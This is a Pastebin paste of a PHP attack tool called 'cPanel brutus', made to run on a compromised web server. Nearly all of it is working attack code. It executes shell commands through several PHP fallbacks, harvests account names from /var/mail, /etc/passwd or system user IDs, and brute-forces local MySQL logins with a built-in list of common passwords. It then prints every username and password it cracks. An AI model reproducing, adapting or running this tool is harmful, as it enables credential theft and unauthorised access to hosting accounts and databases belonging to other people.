Advertisement
Guest User

Untitled

a guest
May 29th, 2018
483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.39 KB | None | 0 0
  1. <?php
  2. /*********************************************
  3. cPanel Brute Force script: cPanel brutus
  4.  
  5. Coded By: TiGER-M@TE
  6. Email: localhost_80{at}programmer.net
  7. *********************************************/
  8.  
  9.  
  10. if(function_exists('apache_setenv')){
  11. @apache_setenv('no-gzip', 1);}
  12. @ini_set('zlib.output_compression', 0);
  13. @ini_set('output_buffering ',0);
  14. @ini_set('implicit_flush', 1);
  15. @ob_implicit_flush(true);
  16. @ob_end_flush();
  17. ?>
  18. <html>
  19. <head>
  20. <meta http-equiv="Content-Language" content="en-us">
  21. </head>
  22. <title>cPanel brutus</title>
  23. <body text="#00FF00" bgcolor="#000000" vlink="#00BFFF" link="#FF0000" alink="#008000">
  24. <div align="center">
  25. <table width="67%" style="border: 2px dashed #FF0000; background-color: #000000; color:#C0C0C0">
  26. <tr><td align=center>
  27. <font face="Courier New" size=4 color=yellow>cPanel brutus</font>
  28. </td></tr>
  29. </table>
  30. <br />
  31. <?php
  32. if(!isset($_POST['submit'])){
  33. function execute($cfe) {
  34. $res = '';
  35. if ($cfe) {
  36. if(function_exists('system')) {
  37. @ob_start();
  38. @system($cfe);
  39. $res = @ob_get_contents();
  40. @ob_end_clean();
  41. } else if(function_exists('passthru')) {
  42. @ob_start();
  43. @passthru($cfe);
  44. $res = @ob_get_contents();
  45. @ob_end_clean();
  46. } else if(function_exists('shell_exec')) {
  47. $res = @shell_exec($cfe);
  48. } else if(function_exists('exec')) {
  49. @exec($cfe,$res);
  50. $res = join("\n",$res);
  51. } else if(@is_resource($f = @popen($cfe,"r"))) {
  52. $res = '';
  53. while(!@feof($f)) {
  54. $res .= @fread($f,1024);
  55. }
  56. @pclose($f);
  57. }
  58. }
  59. return $res;
  60. }
  61. $default=execute("ls /var/mail");
  62. if(!$default){
  63. if($file=@file_get_contents('/etc/passwd')){
  64. $u=explode("\n",$file);
  65. foreach($u as $us){
  66. $uss=explode(":x:",$us);
  67. $default .=$uss[0]."\n";
  68. }
  69. }else if(function_exists('posix_getpwuid')){
  70. for($n2=500;$n2<10000;$n2++){
  71. $userinfo = posix_getpwuid($n2);
  72. $name=$userinfo['name'];
  73. if($name!=''){
  74. $default.=$name."\n";
  75. }
  76. }}else{$default="Could not get any username.try manually :)";}
  77. }
  78.  
  79. echo <<<EOF
  80. <form method="POST">
  81. <div align='center'>
  82. <table width='55%' style='border: 2px dashed #FF0000; background-color: #000000; color:#C0C0C0'>
  83. <tr>
  84. <td align='center'>
  85. <span lang='en-us'><font color='#FF0000'><b>Usernames:</b></font></span>
  86.  
  87. <p align='center'>&nbsp;<textarea rows='30' name='usernames' cols='30' style='border: 2px dashed #FFFFFF; background-color: #000000; color:#C0C0C0'>$default</textarea><br/>
  88. </p></td>
  89. <td align='center'>
  90. <span lang='en-us'><font color='#FF0000'><b>Passwords:</b></font></span>
  91.  
  92. <p align='center'>&nbsp;<textarea rows='30' name='passwords' cols='30' style='border: 2px dashed #FFFFFF; background-color: #000000; color:#C0C0C0'>123123\n123456\n1234567\n12345678\n123456789\n112233\n332211\ntest\ntest123\ncpanel\npassword\npassword1\nabc123\na1b2c3\npassw0rd\nPassword\nPassw0rd\nuser\npasswd\npasswords\npass\nchangeme\niloveyou\nfuckyou\nqwerty\n1q2w3e\nq1w2e3\nqazqaz\n1qazxsw2\n1qaz2wsx\nqazxsw\nqazwsx</textarea><br/>
  93. </p></td>
  94. </tr>
  95. </table><br/><input type='submit' value=' Subtmit ' name='submit' style='color: #FF0000; font-weight: bold; border: 1px dashed #333333; background-color: #000000'></form>
  96. EOF;
  97. }else{
  98. $password=array_unique(explode("\n",$_POST['passwords']));
  99. $username=array_unique(explode("\n",$_POST['usernames']));
  100. if(!set_time_limit(0)){"<font color='red'><b>ALERT:</b> set_time_limit(0) failed! Cracking will be interrupted!<br/></font>";}
  101. echo '[+]Cracking...<br/><hr width="67%" style="border: 4px dashed #FF0000;"><font color="white" size="4"><b>username<font color="red">:</font>password</b></font><br/><br/>';
  102. $count=0;
  103. $n=0;
  104. $start=time();
  105. foreach($username as $user){
  106. $count++;
  107. $user=trim($user);
  108. if ( @mysql_connect("localhost",$user,$user) ){echo "<font color='red'>$user</font>:<font color='red'>$user</font><hr width='67%' style='border: 1px dashed #1D1D1D;'>";$n++;continue;}
  109. foreach($password as $pass){
  110. $count++;
  111. $pass=trim($pass);
  112. if ( @mysql_connect("localhost",$user,$pass) ){echo "<font color='red'>$user</font>:<font color='red'>$pass</font><hr width='67%' style='border: 1px dashed #1D1D1D;'>";$n++;break;}
  113. }
  114. }
  115. $end= time() - $start;
  116. @$per=$count/$end;
  117. if($n){
  118. echo "[*]Successfully Cracked: <font color='red'><b>$n</b></font><br/>";}
  119. echo '<font color="#00FF00">[*]Time took: '.$end.' seconds for '.$count.' tries ('.$per.'/sec)</font><br/>';
  120. }
  121.  
  122. ?>
  123. <hr/><font color="yellow">Coded by</font> <font color="red">TiGER-M@TE</font></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement